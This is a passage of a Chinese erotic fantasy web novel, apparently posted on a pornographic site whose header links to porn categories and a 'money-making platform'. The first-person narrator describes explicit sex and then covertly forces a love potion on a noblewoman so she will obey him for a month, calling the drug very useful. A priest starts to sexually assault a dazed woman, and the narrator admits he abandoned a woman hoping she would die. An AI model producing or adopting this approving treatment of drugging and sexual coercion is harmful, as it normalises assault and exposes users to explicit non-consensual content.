自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐


  ◆ 第一话:一月之玉.错点鸳鸯

  索蓝西亚的皇室,有一个极秘密的丑闻,这是众所周知的事。说起来让人很想苦笑,但这个所谓的秘密,其实在各国情报机构都是公开的,因为这件事当初实在是处理得很烂,烂到很难把此事当秘密隐藏下去。

  本代索蓝西亚王葛林斯,贪淫好色,自己的妃后妻妾搞不够,还搞上了皇后之母,利用皇后母亲入宫探望的机会,把这位贵妇人一奸再奸,奸了又奸,不但把皇后气得吐血身亡,还搞大了岳母的肚子,变成超级丑闻。

  为了要处理大肚子的岳母,索蓝西亚王先封赐给岳母伯爵称号,再挑中麾下一名刚凯旋回国的老将军,令两人婚配,合理地摆平檯面上的问题。

  老将军在婚后不久,便暴病身亡,这个可怜的老东西,是连新娘的手都没碰过一下,就被妒火中烧的国王给杀人灭口。嫁入将军府的新夫人:「早产」诞下了一名老将军的「遗腹子」。

  这个遗腹子,就是与我有几次对战经验的碧安卡·希恩,至于那名芳名远播的美艳岳母,我闻名已久,早就希望一见,想看看是什幺样的绝色,居然让索蓝西亚王甘冒伦常禁忌,不顾一切地上了她,还搞了又搞,让事情彻底失控,变成现在这耻辱结果。

  想归想,这个想法没什幺机会实施,毕竟这位大美人身在索蓝西亚,也不可能跑出来行走江湖,身边的保安工作严实周密,我别说是一亲芳泽,就算要见一面都千难万难。

  哪想到人算不如天算,我甫到索蓝西亚便碰上这位绝色美妇,不但遇到了,还在第一次见面的极短时间内,口交、性交、肛交全都上了,玩得这幺激烈的初见面,我之前还真的不曾有过,更想不到在极乐之后,我会承受这幺大的惊吓。

  黛媚丝,这名美艳熟妇在索蓝西亚地位特殊,别的不说,光是她身为国王情妇兼岳母的身份,相信就没有别的男人敢与她乱来,现在大祭司让我搞了她,若说是款待贵客的初见礼,这个礼未免太大,后头必然有让我难以招架的需求,事情难办了。

  正暗叫不妙,外头忽然吵闹起来,好像有什幺人想要闯进营帐来,听那吵闹的声音,应该是我的「友人」与「援军」,可能是因为我在这里太久没声没息,他们失去耐性,所以要杀进来了。

  眼看情势要大乱,我脑中闪过一个念头,如果黛媚丝的身份这幺特殊,或许可以让她成为一着暗棋,现在我方深入敌境,却对索蓝西亚的状况一无所知,要是能把黛媚丝拉拢成我们这边的人,这虽然不敢说是绝妙好着,却也必能出乎敌人意料。

  怎幺把一个女人拉拢成自己人?答案很简单,就是靠感情。

  怎幺在时间极度缺乏的情形下,和一个女人发生感情?答案更简单,那就是下药。

  华更纱搞的那个鬼药,目前还收藏在我这里,现在正好派上用场:「真爱」调製出的四颗药丸,一刻玉已经被冷翎兰给吞下,剩余的三颗药丸里,一日玉没有什幺意义,一生玉的后果太大。还是使用一月玉最为恰当。

  趁着黛媚丝不注意,我快手快脚地取出一月玉,一下子就塞进她嘴里,她大吃一惊,似要呼叫,被我伸手一捂,惊叫声喊不出来,眼神却开始变得迷濛。

  与冷翎兰的状况不同,一但「真爱」的特殊效果确实开始起作用,照正常的情况发展。只要黛媚丝一直看着我,就会打从心里爱上我,如此一来,有整整一个月的时间,这位美艳熟妇将会为我所操控,成为我埋在索蓝西亚的一着内应……唔,这种药真是超级好用,早知道应该让华更纱多弄几份才对的。

  不过,理论是一回事,实际状况却是总有意外,就在我心里想得正爽,脸上也不禁露出微笑时,忽然一声巨响,营帐门口好像万马奔腾似的冲进来一堆人,我被这票莽撞的家伙给踹倒,硬生生与黛媚丝分拆开。

  (糟糕!要是她看到别人,那就麻烦了……)

  黛媚丝要是在这种时候看到了别人:「真爱」的药效就是为人作嫁,便宜了别人。浪费了一颗神药倒是没什幺,反正这药也不是我调製的,会心痛的人也只有鬼婆一个,但黛媚丝因此爱上了别人,不受我控制,那搞不好会生出弥天大祸来。

  然而,在这样的混乱场面中,想要黛媚丝不看到别人,这种事情根本是不可能,因为一座不算小的帐棚内,一下子塞入起码二十几个人,这哪有可能不看到人?

  (她看到了谁,哪个精灵士兵?还是某个白家子弟,总不会看到大祭司吧?呃,大祭司好像没有进来,那……)

  抱持着怀疑的心情,我终于找到了黛媚丝,但映入眼中的,却是一幕不堪入目的惨痛景象。

  刚刚搞完一次,黛媚丝未及着衣,只是简单把长袍披在身上,赤裸的美艳娇躯大半暴露在外,雪乳丰臀,还有那甫交合完的斑斑秽渍,无一不说明了刚刚发生的事实,令这性感美妇更增艳色。

  「真爱」的药效已经开始发挥,黛媚丝彷彿见到了一生挚爱,将那个人紧紧抱住,而她所恋上的对象,是个身穿蓝色军装,作着男性打扮的帅气青年……嗯,仅仅是打扮而已,因为不管装扮有多像男人,那张俊美的脸我还是一眼就认得出来,她……就是我的亲妹妹,冷翎兰。

  我不知道冷翎兰是什幺时候换成男装打扮的,但她现在确实身陷窘境,被黛媚丝给抱着,香吻不停地落在脸颊、颈项上,而冷翎兰眼中闪过的神色,与其说是厌恶,我觉得根本是恐惧,换做是一般状况,她可能早就把人踢飞出去,但身在异境,她大概也感觉得出黛媚丝不是普通人,不敢鲁莽出手,只能尴尬地被硬抱住,不断地伸手想推开,却抵抗不了热恋中的对方。

  「冷……冶家兄弟,别乱来啊,这位是索蓝西亚的伯爵夫人,要是她掉了条毛,我们可能全部都要在这里陪葬的。」

  因为担心有事,我特别忍住笑,出声提点,周围的白家子弟也是人人一脸骇然,有些反应灵敏一些的,面上已经从惊骇变成笑意,只是由于情况诡异,不敢笑出声来而已。

  「……这里是在干什幺?变态百合秀吗?我开发真爱出来,不是为了看这种东西的。」

  华更纱冷冷的一句,把所有白家子弟赶到营帐外,再冷不防地一指点出,让黛媚丝晕了过去。解救了危机中的冷翎兰。

  「现在这是什幺情形?」

  「我哪知道?」

  我一句话回答华更纱的问题,冷翎兰忽然从旁边插上一句。

  「大淫贼的名字果然不是白喊,所有的人在外担心受怕,你在这里风流快活,刚才搞得很爽嘛!」

  不晓得为什幺,这句话听起来酸味很大,所以我也是直接回呛过去:「没有你爽啊,刚才人家可是抱着你在亲的,横竖法雷尔家的血统你我都有,大淫贼的称号我让给你吧。」

  在这种地方发生口角没什幺意义,我们冷静下来,很快地离开了营帐,正想要寻找大祭司来问话,结果听到白家子弟的叫嚣声,连忙过去探看。

  发生的事情说起来也很简单,刚才我驾着木橇冲出山谷,拉着琳赛在旁边,却把另一个没有战斗力的人给遗忘……好吧,我承认我是故意忘记的,反正那个女记者我也干到厌烦,保护她又嫌累赘,刚好趁这个机会把人甩下,要是她被山谷中的龙精或邪兽给干掉,那就非常理想,连杀人灭口的功夫都不必了。

  我的这门心思,照理说别人应该都看得懂,不会多事来助,但百忙中我却忘记一事,那就是在场的还有个冷翎兰,即使白家子弟当夏绿蒂不存在,冷翎兰却不会对她置之不理。

  就这样,冶翎兰在艰困的战局中保护夏绿蒂安全,带她杀出重围,一直到刚刚。夏绿蒂不知道是吃了太多淫药,又或者是在百多次空间转移的激烈战事中受太多刺激,精神上浑浑噩噩,迟迟没有回复过理性,而适才冷翎兰等人顾虑我在营帐中的安危,一起来在营帐外守候,把神智未复的夏绿蒂放在木撬上,暂时以此作为安置。

  照理说,龙精已经退回谷中,夏绿蒂的安全没有问题,但就在冷翎兰等人冲入帐蓬的同时,有一名年老的精灵长者忽然出现,一看到夏绿蒂就两眼发直,也不管木撬旁边还有几名白家子弟在看守,就带着几百名精灵士兵赶了过来,把他们赶退。

  白家子弟对夏绿蒂的安危没有义务,严格要说起来,木撬是白拉登之物,白家子弟对木撬的重视多过对夏绿蒂百倍,更不可能为了夏绿蒂而和精灵起冲突,被赶开后只是在外围鼓噪叫骂,看着几百名精灵士兵把木撬团团围住,不晓得要做些什幺。

  他们不知道的事,我却是心下了然,只不过有些难以置信,对方居然能做到这种地步。

  当我们强行突破几百名精灵士兵的防卫圈,闯到里头,恰好便看到一个令人惊骇的画面。

  迷失神智的女记者,仍旧浑浑噩噩,趴躺在木橇上,眼神空洞,衣衫淩乱,但光溜溜的美臀,却像是两颗刚煮好的剥壳鸡蛋,雪润圆翘,挺在半空中,引人人胜。

  这幺美丽的画面,如果后头没有一个汙染大家眼睛的存在,那简直就是艺术了。可惜,在这个美丽的东西后方,有一个身穿白袍的年老精灵,刚刚解开了白袍下摆,露出了半截指头长的渺小东西,正在晃来晃去,而他本人见到我们这样冲进来,则是一脸又错愕又尴尬的表情,甚至还可以说是有点无辜地望着我们。

  「……你、你们……怎幺可以这幺没有礼貌?一声不吭就闯进来……」

  索蓝西亚大祭司用这幺委屈的态度对我们说话,我们……不晓得该说什幺才好。发生这样的事,他一点都不觉得丢脸,反而还一副认为我们应该先敲门再进来似的指责表情,这幺一个全然状况外的荒唐反应,我不晓得这位大祭司究竟是天生弱智低能?或者是他脑里已全然没有礼义廉耻的存在?

  不管是哪一种,我由衷地同情起在这位大祭司手下当差的人们,再回想一下、凭我们这点人力,居然轻而易举地突破几百名精灵士兵的防卫,过程中也没发生什幺真正的冲突,我想这些精灵大概也是觉得太丢脸,所以防卫上虚应几下,放我们闯进来阻止这丑恶的秽行吧。

  「哎呀,这位是索蓝西亚太祭司柏南克吗?」

  华更纱对于眼前丑陋的一幕毫不动容,转过头对冶翎兰道:「你的情报很有问题啊,这老家伙哪里平庸了?能够干出这种事情来,他的资质简直天下少有,令我歎为觊止。」

  换作是平常,冶翎兰定是勃然大怒,但或许是由于发怒对像太过偏离常识,这次连她都歎了口气。伸手拍了拍额头,道:「是我的错,门缝里看人,走眼看错了高人,以后不会犯这种错了。」

  这话从冷翎兰的口中说出,真是有够怪异,我不晓得该把这话理解成单纯的自暴自弃?或者看成是暗示「以后看到你这种家伙一定立刻宰了」?

  不管怎幺样,现在这样的场面,不管柏南克再怎幺偏离常识,也不可能再搞下去,便悻悻地开始整理衣服,与我们对视,然后……场面一时间很尴尬,要打要杀也不对,要笑着过去拥抱好像也怪怪的,最后,还是把正义人士摆一边,由我这个贱字辈的来收拾场面。

  「哈哈哈,老哥哥,怎幺如此猴急?连地方也不挑就搞起来?太没情调,也太委屈你的尊贵身份啦!」

  「哈哈,老弟,你真不愧是老哥哥的知己,这里这幺多人,只有你一个是真心替我着想,真是相见恨晚啊,来,你我兄弟来个热情的拥抱!」

  「嘿,抱归抱,麻烦把你下面那粒……哦,那条东西给收回裤子里去,要是莫名其妙被碰到,我怕今晚睡不了觉啊!」

  被我点醒,大祭司连忙把衣服穿好,特别是把他那短小的东西塞回裤裆里,然后与我来个热情拥抱,哪怕是我和我亲生老子都不曾这样搂抱过。我不是不嫌髒,只不过有些事情总是要有人来做,就像厕所再髒也要有人去扫一样。

  「唉,老弟。你们真是扫兴,怎幺在这种时候来碍事呢?」

  「碍事?没有啊。我已经刻意拖延了,怎幺老哥你还未完事呢?给你大半天时间,你还没搞上去,这未免太差劲了吧?」

  我和大祭司勾肩搭背,抛开身后众人,边走边说话,着实亲热,就听见大祭司很遗憾地重重歎了口气。

  「唉,这就是需要老弟你来诊治的地方了,年纪一大,力不从心啊,我精灵族崇尚自然,前人典籍中也没有这类起死回生、重振雄风的法门,我和国王陛下忧心如焚,早烦透了,真是巴格,巴格野鹿!」

  「啧?你好好一个精灵大祭司,怎幺会说巴格野鹿?」

  「喔,我最近研究的前人典籍中,有一个同样也是性器短小,经常不举、早洩的种族,就是满口巴格野鹿的,我见着有趣,就学起来当口头禅了。」

  「不对吧?你说的那个人种我也有听说,但他们不见得性器短小,经常不举和早洩啊,你看的是哪种前人典籍?应该不是精灵的圣典吧?」

  「哈,我族的圣典早就看腻,有啥稀奇,我这两百年都被人类的小说故事吸引,什幺文豪、才子之类的我没兴趣,就是爱看三流到九流作者的作品,尤其是够意淫,也就是够YY的那种……巴格野鹿。」

  「……嗯,真是巴格野鹿!」

  ※※※※

  计划赶不上变化,这相信是古往今来所有英雄豪杰、智者贤人的共通痛楚,原本打算秘密潜入索蓝西亚的计划,现在可以宣布彻底报废,改变成来索蓝西亚参加派对,搞不好还是香艳刺激的乱交派对。

  大祭司说,要我来参加十大恶人的颁奖庆典,这话原来不是说笑,他们除了十大恶人之外,还选了十大高手、十大美人、十大神兵之类的榜,要一起举行庆典颁奖,听说还有花车游行,真不愧是三流小说中毒的YY发烧友。

  我们这一行人,变成了顺理成章的贵宾,拖着那架木橇,在过万精灵军队的护送下,前往附近的森林聚落中休憩,预备后天前往华尔森林,参加即将于那边举行的大庆典。

  「庆典?应该说是国耻吧?我所认识的精灵,没有一个会把那种事情当成庆典的,这个国家到底是怎幺了?怎幺好像被什幺东西给迷了眼,儘是在做一些荒唐事情?」

  冷翎兰对于眼前情势有很大的怒气,但我觉得她似乎没什幺资格发脾气,因为要骂起当今大地上的无能昏君,她名义上的老爸冷弃基也是个模範人物,之所以没有变成亡国昏君,那全都是因为冷月樱、冷翎兰这两个女儿的牺牲与努力。

  相较之下,索蓝西亚这边的昏庸状况是糟糕,但好像也说不上特别差劲,至少……我不认为冷翎兰有批评的资格。

  「怎幺了?你那是什幺眼神?我说的话有什幺不对吗?」

  很不幸,虽然我一直保持沈默,希望不要多嘴惹祸上身,但冷翎兰还是注意到我眼中的揶抡之色,朝我发难。

  「没有啊,冷提督说的都是对的,我哪敢有什幺意见?说多错多,要是一把刀劈下来就糟糕了。」

  「你有话就直说,不用拐弯抹角。说到你刚才的样子,你就不能像样一点吗?什幺朋友不好结交,非要去和那种精灵称兄道弟,搂搂抱抱,你一点都不觉得噁心吗?」

  「噁心也没办法啊,我不抱,难道你去抱吗?满身正气的人都被你结交光了,我当然只能交一些匪类、丑类和败类了,这个世界就是如此,很公平啊!」

  兄妹的无意义斗嘴就到此为止,我们都很清楚。再吵下去没有意义,处理眼前的问题才是要紧。

  「要注意一点,三王子雷曼就在附近。」我道:「我进入营帐之前,他就先走了,但那场战争进行时,他本人就在现场,还帮着搞定了龙精,力量好强,不可小觑。」

  其实我更在意的,是雷曼手中的那支号角。从战场上的状况来看,龙精根本是被那支号角赶跑的,要是那支号角拿来吹我们,其威力……

  (记忆中,好像没有什幺号角类的神器专门克制龙族,那支号角……唔,该不会是创世七圣器之一吧,以威力来看,倒还真有点样子,但当时贤者手环并无异状,没有共鸣……唉,这手环时灵时不灵,光看手环也难以判断。)

  若是有其他的创世圣器在旁,就能更準确地判断了,但阿雪失蹤、羽虹坠海。大日天镜、烽火乾坤圈都不在,我也没法作论断。

  我们这个小队的全盛时期,手上持有大日天镜、烽火乾坤圈、贤者手环,倘若不是娜西莎丝食言,没把伊斯塔所藏的那件创世圣器给我,那七件创世圣器我们便取得其四。环顾史上,取得四件以上的国家级势力虽然罕见,却也不是没有,但区区一支几个人的小队伍,能取得四件创世圣器,这简直就是前无古人。

  可惜,转眼之间,我们这支小队就分崩离析,现在回顾过往成绩并无意义,如何再创新的辉煌才是正题。这样说起来,我对那支号角实在很感兴趣,要是能够把它弄到手,应该可以大幅度提升我们的实力吧?但要怎幺巧取豪夺,这又是个问题了……

  「吹号角的那个就是雷曼?」冷翎兰略显吃惊:「他的实力比我听到的更强啊!有机会倒是要与他交交手,看他比起伦斐尔又如何?」

  「哦,你之前也没见过这位雷曼兄弟?」

  「没有,我身份特殊,几次前来索蓝西亚都是秘密行动,非常低调,从不会见伦斐尔以外的人,更不会让旁人知道我入境,有时候连华尔森林都不进,直接在外会见伦斐尔,当然没机会见这位三王子了。」

  冷翎兰表现出的想法,是高手的通病,见到强手就想要战一下,如果照我的意思,这幺麻烦的家伙还是用偷袭暗算搞掉,省得危险。

  照理说,敌人的敌人就是朋友,冷翎兰与伦斐尔是一挂,他们与雷曼敌对,我又与伦斐尔不可能是朋友,那幺,我和雷曼之间又有没有合作空间呢?我相信,只要有足够的利益来推动,别说是雷曼,就算是黑龙王,我们都可以抱在一起狂呼兄弟,然而,我这次来索蓝西亚,是为了来摧毁人家的末日战龙,人家似乎不太可能一面看着我大搞破坏,一面抱着我叫兄弟吧?

  认识大祭司柏南克,是一个难得的契机,听他许下的承诺,奸像只要把不倒春药、壮阳术交给他,末日战龙不过是一个可出卖的国家利益。不过说归说,说完以后杀人灭口不认帐的事,我自己也常常干,现在什幺状况都不明朗,要是百分百相信大祭司,弄到自己也死得糊里糊涂,那就真是很搞笑了。

  (咦?其实我到索蓝西亚来,只是为了解决阿雪的问题,并不是非破坏末日战龙不可,要是有其他方法料理阿雪的困境,那我也……唉,真是想太多,现在连阿雪到哪去了我都不知道,想这些有很大意义吗?)

  脑里的思绪很乱,还需要点时间去整理,正当我想釐清思绪,冷翎兰提出了一个重点,那就是索蓝西亚的这次军事行动大有问题。

  「他们攻击山谷,引龙精出来,然后被龙精打得落花流水,这当然可以解释为情报蒐集不足,将帅无能,策划了一次乱七八糟的军事行动,可是……雷曼能斗倒伦斐尔,又稳稳地接掌了他的大权,当非无能之辈,那这次攻击山谷的行动,我觉得另有深意。」

  冷翎兰提出的想法正合我意,事实上,我也有同样的怀疑:「你说得没错,最好的证据就是,我们现在原本可以起程回华尔森林,但却莫名其妙要在这里停留两天,这两天根本是全无必要的,除非……有人打算在这两天里头做什幺事,做那些……原本要做,却因我们意外出现而被打断的事。」

  从山谷外的战争开始、结束至今,我不停地思考,冷翎兰说的东西我都想过,再依当时形势推判,有一个最合理却也是最不可思议的念头,令我不寒而慄。

  假使索蓝西亚这边早知道山谷里头的龙精数目,而军队的狼狈败仗又在预期之内,那幺他们的目的是什幺?

  血祭!

  索蓝西亚是精灵之国,不是黑魔法之国,不可能像伊斯塔那样,肆无忌惮地进行血祭,製作万血灵珠之类的法器,或是施行大规模的黑魔法。然而,末日战龙这种超级凶器,距离所谓的邪恶魔法,其实也只是一步之隔,搞不好製作末日战龙的过程中,就有些步骤需要血祭也未可知。

  那幺,派遣一万多精灵部队进攻这亡灵山谷,就算全军覆没,那也可以委推为军事行动失败,即使消息传到外国,没什幺人会想到这是血祭的一部分,毕竟牺牲一万多精壮部队来献祭,这种事情太过骇人听闻,索蓝西亚史上从未发生过,不是正常人会有的想法。

  本来事情进行得很顺利,但我们这一行人突然出现,血祭的打算不得不中断,免得被我们撞破,消息传了出去,别说外国的反应与压力,光是索蓝西亚国内的骚动,就足以让政局变天。

  索蓝西亚的精灵们,或许可以容忍一个昏庸的统治者,但绝不可能忍得下精灵之国的伊斯塔化,要是传出国内秘密进行大规模的黑魔法祭典,我保证这些精灵会群起攻之。

  「可以肯定的事情只有一点,如果索蓝西亚真的有其他图谋,那在这两天一定会採取行动。」

  我道:「通知所有人,这两天提高警觉,小心注意身边发生的一切,我不想敌人忽然发动血祭,而我们很搞笑地变成了祭品。」

  这个提醒,冷翎兰不可能替我转达,自然是华更纱来代劳了。事实上,这个丧尽天良的冷血鬼婆,听到我把一月玉餵给黛媚丝后,简直是兴奋得两眼放光,摩拳擦掌,恨不得马上就知道药效结果,这时听我一委託,她马上趁机离开,不晓得干什幺去了。

  华更纱一走,冷翎兰提出了压在她心头许久的问题:「现在我们已经不可能秘密潜入,索蓝西亚知道我们来了,也知道我们里头有什幺人,别的人还好处理,矮人是一定藏不住的,当索蓝西亚向你要人,你打算怎幺办?」
  ◆ 第二话:灵肉买卖.廉价真爱

  不可否认,冷翎兰提出的这个问题很棘手,甚至很要命。我们这些人突然进入索兰西亚,像冷翎兰还可以改作男装,只要她不把霸海拿出来晃,旁人就算看穿她是女扮男装,也不会立刻想到这事阿里布达的二公主亲至……当然,我觉得这是她一厢情愿的想法,索兰西亚那边有九成五已经知道她的身份了。

  但比起冷翎兰,琳赛是一个更藏不住的存在,任谁都可以看出她是矮人,三王子雷曼那边也绝对知道她是来干什幺的,届时,为了末日战龙,雷曼方面就会要求我们交人出来,敌众我寡,我们除了乖乖把人交出来,还能做什幺?

  当然,如果抱持着玉石俱焚的决心,我们可以当着雷曼的面,把琳赛干掉,肉体也瞬间毁去,来个一拍两散,谁也得不到藏在琳赛体内的秘密,这幺一来不但可以阻扰敌人,说不定还能让末日战龙无法组装,皆大欢喜……只是,做到这一步好像谁都没好处,唯一会高兴的只有白拉登,未免太过本末倒置了。

  冷翎兰道:「你也不可能用什幺人道理由来推脱,这种话从你口中说出,太没有说服力,而且……对方来接人的时候,一定是用迎娶这个理由,你又怎幺拒绝?」

  这个……确实是让我没得反驳,我们本就是来送亲的,现在人已经送到,要是雷曼来迎亲,我很难说不行,况且,我们与琳赛非亲非故,又凭什幺来替她出头?

  「所以,你是在催我早点把她干掉,大家一起肢解了矮人,看看有什幺东西好拿,早点拿了奖品回家睡觉,是吧?」

  「我没有这幺说。」

  「那你又是什幺意思?」

  冷翎兰的态度让我也搞不清楚,追问一句,就看她神色怪异,冷然道:「我也不知道,这次我是来协助你的,就是要看看你有什幺本事可以处理这些问题。」

  这真是一种莫名其妙的心态,我难以理解这个变态妹妹的想法,不过这件事也确实改由我来处理。

  「琳赛那边,我会去搞定,但有一个麻烦人物要扔给你,说不定你可以去和她聊聊。」

  「谁?」

  「夏绿蒂啊,你的女性同胞刚才差点被奸了,你这个公认的女性救星,总不会毫无表示吧?」

  我说冷翎兰是女性救星,这话不假,阿里布达境内的女性,只要有了什幺冤屈,往往都会视图向这位女性救星求援,虽然不是有求必应,但也替不少女性伸冤雪恨。

  只不过,我提她女性救星的这个外号,却没有什幺好意,因为整个阿里布达都知道冷翎兰没有男人,凡是男性说到这个女性救星,都当她是个搞同性恋的冰山女,这件事冷翎兰自己也知道,听我这幺一说,她当然晓得我的意思。

  「强者自强,我不是保姆,不是什幺地方有个女人哭,我就会跑去拯救,只有自己能够站起来的女人,才值得我去帮一把。」

  「你觉不觉得自己很神经病?既然人家自己站得起来,又哪还需要你来帮忙扶?」

  这句话是单纯找碴,我也明白冷翎兰的意思,是帮忙扶起那些能站却未站起的人,但她没有受我这句找碴所困惑,冷冷道:「自己站不起来的人,我又能帮到什幺?」

  话很冷,可以看出来冷翎兰着实看不起夏绿蒂,虽然碰到她性命危险,还会基于人道,出手救援,但要她去顾到夏绿蒂的心情……很明显,冷翎兰不可能做到这种程度。

  我也不再说什幺,离开了这座营帐,出去寻找琳赛,脑里却在思考很多东西,之前冷翎兰对夏绿蒂颇为重视,不但为她引荐,让她去金雀花联邦发展,就连在装甲列车上战斗时,都为了夏绿蒂而住手停刀,这才中了暗算,被我所擒下。

  那时候,冷翎兰是把夏绿蒂当成一名自立自强的新女性,欣赏她的人格特质,这才会对她青睐有加,屡屡扶持,但后来看见了夏绿蒂的丑态,发现她已经沈沦堕落,不可自拔,以冷翎兰个性上的洁癖,自然不可能再对夏绿蒂有什幺好感,甚至还说得上嫌恶,如此一来,就变成现在这样子了。

  冷翎兰喜欢什幺人、讨厌什幺人,都是她的自由,我管不着,但身为她的兄长,我其实有一个劝告相对她说。

  (你够坚强、够倔强,但人心其实没有你想像的那幺强,也不是每个人都可以像你一样,如果是用这样的标準来要求人,早晚有一天,你自己是会吃苦头的啊……)

  我觉得我的预测早晚成真,但话又说回来,我自己的仇家也够多了,似乎没有资格指点别人如何不被砍吧?

  那些白家子弟正忙着回收木橇,我碰到他们,着实慰问了两声,他们这一整天忙着挥电锯斩人,实在是够辛苦的了,不过,最后在山谷之中的那一仗,我确实很好奇,因为他们杀出山谷时,杀气腾腾,势若疯虎的姿态,确实是非常惊人,把所有精灵们都吓到了,到底他们为何能这样战意如虹呢?

  「我实在很佩服你们啊,如果天底下每个士兵都能像你们这样勇猛,那就战无不胜,攻无不克了。」

  我出言讚歎,哪想到此言一出,所有白家子弟脸色一沈,有几个简直是哭丧着脸,唉声歎气地过来与我拍肩膀。

  「我们真是羡慕你啊,想逃跑就可以逃跑,我们本来也想逃的……」

  「你以为我们真的那幺勇猛吗?我们比你更想逃命,龙精耶!谁想去和那种东西硬碰硬啊!」

  「是啊,那幺恐怖的硬仗,如果能逃谁不想啊,但是……院长威胁我们要硬着头皮上……」

  听起来还是为了华更纱的威胁,众人才豁出性命勇猛杀敌。然而,华更纱到底威胁他们什幺呢?

  「院长说,我们今天注定要血染全身地出山谷,如果有谁想临阵脱逃,她就直接对大家下血咒,用我们自爆后的精血去摧毁敌人。」

  「这个……恕我多口,你们受到这幺残酷的对待,难道都不会想要当逃兵的吗?」

  意想不到,我这一问居然换得了他们的摇头。

  「你有所不知,我们家侯爷也好,华院长也好,对我们而言都是传说级的英雄人物,他们的做法可能我们无法认同,但我们相信,那是因为我们的智慧、见识不够,所以才不能认同他们的做法,不过只要贯彻他们的指今,坚持到最后,结果一定是好的。」

  说着这些话的时候,这些白家子弟的表情非常平静,甚至还说得上是坚定,最难得的还是每个人表情都一样,这点着实今我心服口服。

  这些白家人并不是那种愚夫愚妇,透过与他们的相处,我知道他们都受过高等教育,学养、素质不俗。是文武双全的优秀人才,儘管现在看起来像是喽啰,不过只要他们的培训结束,将来出任组织中的干部,假以时日,都会是大人物。

  那幺,这样的他们仍对白拉登、华更纱五体投地,近乎到了盲从的地步,这是因为素质越高的人越有盲点,更加好骗?还是因为白拉登、华更纱确实有通天之能?我相信后者的成分居多,但……前者的成分应该也有吧?

  我本来以为,大地上最变态的人就是我老爸,不但自已是个疯子,把第三新东京都市打造成上下一心,所有人对他完全拥戴、绝对服从的钢铁要塞,想不到还有别人也能做到这等效果,说起来若是将来有机会,我该好好向白拉登请教一下抚驭之术,看看到底是用什幺技巧,能让手下如此尊崇自己。

  「嘿,辛苦了,你们忙吧,我去找矮人公主谈点重要东西,哦,那个木橇如果不要了,千万别劈了当柴烧,我对那东西有很大兴趣的。」

  告别了白家子弟群,我去寻找琳赛,却发现琳赛不在她被安排的营里,这把我吓了一跳,以为手上的这张王牌夫落,连忙发动白家子弟找,最后问起了附近的精灵士兵,听他们说,琳赛似乎是一个人往树林走去,我马上跟着也朝树林前进。

  要是琳赛失蹤,我们虽然少了一个烫手山芋,却会因此完全失去主权,与末日战龙的相关筹码彻底没了,很不划算。幸好,走进树林没有多久,就看到琳赛在前头。与几名精灵士兵一起讲话,为首的一名是个毛头小子,一边和琳赛笑着说话,一边拈着林中的花草树木,似乎聊得很开心。

  「琳赛,你在干什幺?过来啊!」

  听见我的叫唤,琳赛挥了挥手,朝我这边赶过来,而原本与她在一起的几名精灵士兵,见到了我的出现,全都掉头离去。对这些精灵来说,我是一个不共戴天的仇敌,不管大祭司与我有多友好,他们对我的憎恨却是不会改变,见到我靠近,自然是要全部走光。

  「琳赛,你和这些人在搞什幺啊?」

  「他们都是好人啊,我问他们是什幺人,他们说自己是三王子的属下,我们就聊起来了。他们都很懂花草,我以前在国内的时候,每天都栽花种草,养了很多的花花草草呢,和他们谈这些,他们都懂喔……」

  琳赛说的兴奋,小小的脸蛋看起来容光焕发,打从认识她以来,这还是第一次看到她如此好精神,想想着实很是同情她。

  在罗赛塔,这个少根筋的小丫头,虽然有王家血脉,却完全过着与世无争的平民生活,要不是这一次被找到送货,她这辈子也不会和阴谋诡计有什幺关係,现在她落到这种地步,虽不能说是我们的责任,但总觉得是……

  「你还是小心一点好了,那些家伙都是军人,平常杀人防火惯了,你这样子与他们接触,搞不好被他们在这里轮姦八十遍,那时候想哭都来不及了。」

  「不会啊,我们一起讨论花草,他们都是和善的好人啊,如果是兇恶的人,不会这幺亲近植物的。」

  「哈,好笑,亲近植物就是好人,那世界上最好的人岂不就是植物人?」

  我这句强辩真是说得有够冷,真的要说起来,那些精灵士兵再怎幺不可靠,也不会比我们更危险,我们才是真正对琳赛有私心、有不良企图的人。

  几句话说完,终究不免要回归正题,琳赛忽然沈默了下来,我想她也很清楚,我找她是为了解决问题,而解决问题和解决她快变成同一件事了。

  「嗯,琳赛,我想你应该还记得,送你来索兰西亚,是为了送你来与三王子完婚,这也就代表……」

  「代表藏在我体内的东西,要被拿出来交给三王子了吗?」

  琳赛平静地说着,脸上的表情无忧无惧,平静得甚至还带点微笑,如果不是因为对她有点了解,我一定会把她当成白癡。

  「是这样子没错,但我们也研究过,只要我们先把你体内的核心取出,对三王子那边来说,你就失去价值,也就不会再针对你做什幺,你也就安全了。」

  「可是,华姐姐告诉过我,从我体内取出核心,这也意味着我会死亡,如果我就这幺死了,那三王子不管对我有什幺企图都不重要了啊。」

  死鬼婆,平时说话也不见你那幺老实,怎幺对着琳赛就把什幺都说了?你这是想帮她还是想害我?

  「呃……事情也没有那幺糟糕啦,有法故有破,我相信一定有不伤害你而取出核心的办法喔,你别看我们这边的人好像不怎幺样,其实我们一个个都身怀绝技,就算放眼大地,也找不到几个在专业领域上能与我们较量的。」

  「是啊,华姐姐也是这幺说呢。」

  真的吗?这实在太好了,鬼婆虽然是鬼样,但到底还是有一个「婆」字,还有点人性,关键时候还是会说几句人话的。

  「华姐姐她说啊,根据她的专业判断,我在取出核心时死亡的几率起码有八成五,不受伤害的可能低过万分之零点一,还说她在这方面的专业能力,全大地上没几个能胜她的,她判断会死的伤病患者,就绝对没得治也没得救,所以我是完蛋了。」

  真是够了,这个鬼婆不但没有人性,恐怕连人字怎幺写都不知道,她以为这是对小孩子说鬼故事,说得越恐怖越好吗?难怪她自称只是打工大夫,如果她做专职,所有病人没被她治好,就先被她活活吓死或气死了。

  「总之,你别烦扰这个,我一定会想办法让你……」

  话说到这里,我忽然觉得自己很荒唐。找琳赛来说话,是为了让她做好心理準备,不是为了向她承诺什幺,更何况,以现在的情况,我又能承诺她什幺?保护她吗?姑且不论我的同伴是否会支持,我自己哪承受得起保护她而造成的损失?

  就在我感到迟疑的时候,琳赛却主动开口了:「这样子真的可以吗?如果我不死,核心拿不出来,你们这样不是会很困扰吗?」

  「嘿,你脑子有病没病啊,怎幺我觉得你一直很想寻死的样子?用不着这样吧?」

